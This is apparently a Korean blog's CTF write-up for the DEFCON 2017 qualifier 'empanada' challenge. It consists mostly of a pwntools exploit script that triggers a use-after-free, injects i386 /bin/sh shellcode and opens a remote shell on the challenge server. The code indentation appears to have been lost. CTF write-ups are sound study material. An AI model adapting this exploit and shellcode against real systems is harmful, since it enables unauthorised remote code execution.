Its just simple use-after-free.
but binary is annoying to reverse... because of C++ stuffs...
took me 3~4H to realize how to trigger the UAF
from pwn import *
context.arch = 'i386' # i386 / arm
p = remote('empanada_45e50f0410494ec9cfb90430d2e86287.quals.shallweplayaga.me', 47281)
#p = process(['./empanada'])
#raw_input('attach ' + str(p.proc.pid))
sh2 = "\x90"*20 + "\x31\xD2\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\x31\xC0\xB0\x0B\xCD\x80"
sh = "\x31\xdb\xb0\x03\xcd\x80\x51\xc3" + "A"*7 + pack(0x31337010) + "AA"
def transmit(idx, data, T):
global p
size = len(data)
onec = chr((((idx) << 5) | (size & 0x1F) | T))
p.send(onec + data)
def get_result():
global p
v = p.read(1)
q = ord(v) & 0x1f
s = ""
flag = False
while q == 0x1f:
s += p.read(q)
q = ord(p.read(1)) & 0x1f
flag = True
if flag:
q = q - 1
s += p.read(q)
return s
def delete_message(idx):
transmit(0, "\x50" + struct.pack("<B", idx))
return get_result()
def store_message(msg):
transmit(0,"\x10" + msg)
return get_result()
def msg_count():
transmit(0,"\x40")
return get_result()
def get_message(idx):
transmit(0,"\x30" + struct.pack("<B", idx), 0x80)
return get_result()
def hsum_message(idx):
transmit(0, "\x20" + struct.pack("<B", idx), 0x80)
return get_result()
def get_all():
transmit(0,"\x60")
return get_result()
def remove_all():
transmit(0,"\xfe", 0x80)
return get_result()
# No.0
# create 3 message (linked list)
transmit(1, "\x10" + sh, 0x80)
transmit(0, "\x10" + 'b'*10, 0x00) # server func (to remove)
print get_result()
# No.1
# create 3 message (linked list)
transmit(1, "\x10", 0x80)
transmit(1, "\x10", 0x00) # server func (to remove) (our target dangling pointed chunk)
transmit(0, "\x10", 0x00) # server func (to remove)
print get_result()
# No.2
transmit(0, "\x10", 0x80)
print get_result()
transmit(0, "\x10", 0x80)
print get_result()
# remove all
transmit(0,"\xfe", 0x80) # make free hole (inside No.1's two message)
print get_result()
# reclaim dangling pointer
transmit(0,"\x60", 0x80)
print get_result()
raw_input()
# trigger use-after-free.
transmit(0, "\x20" + struct.pack("<B", 1), 0x80)
print get_result()
raw_input('send')
p.sendline(sh2)
p.interactive()
'Games > CTF' 카테고리의 다른 글
DEFCON 2017 awsno writeup (0) | 2017.05.08 |
---|---|
SECCON 2016 cheer_msg (0) | 2016.12.12 |
SECCON 2016 checker (0) | 2016.12.12 |
SECCON 2016 logger (0) | 2016.12.11 |
SECCON 2016 jumper (0) | 2016.12.11 |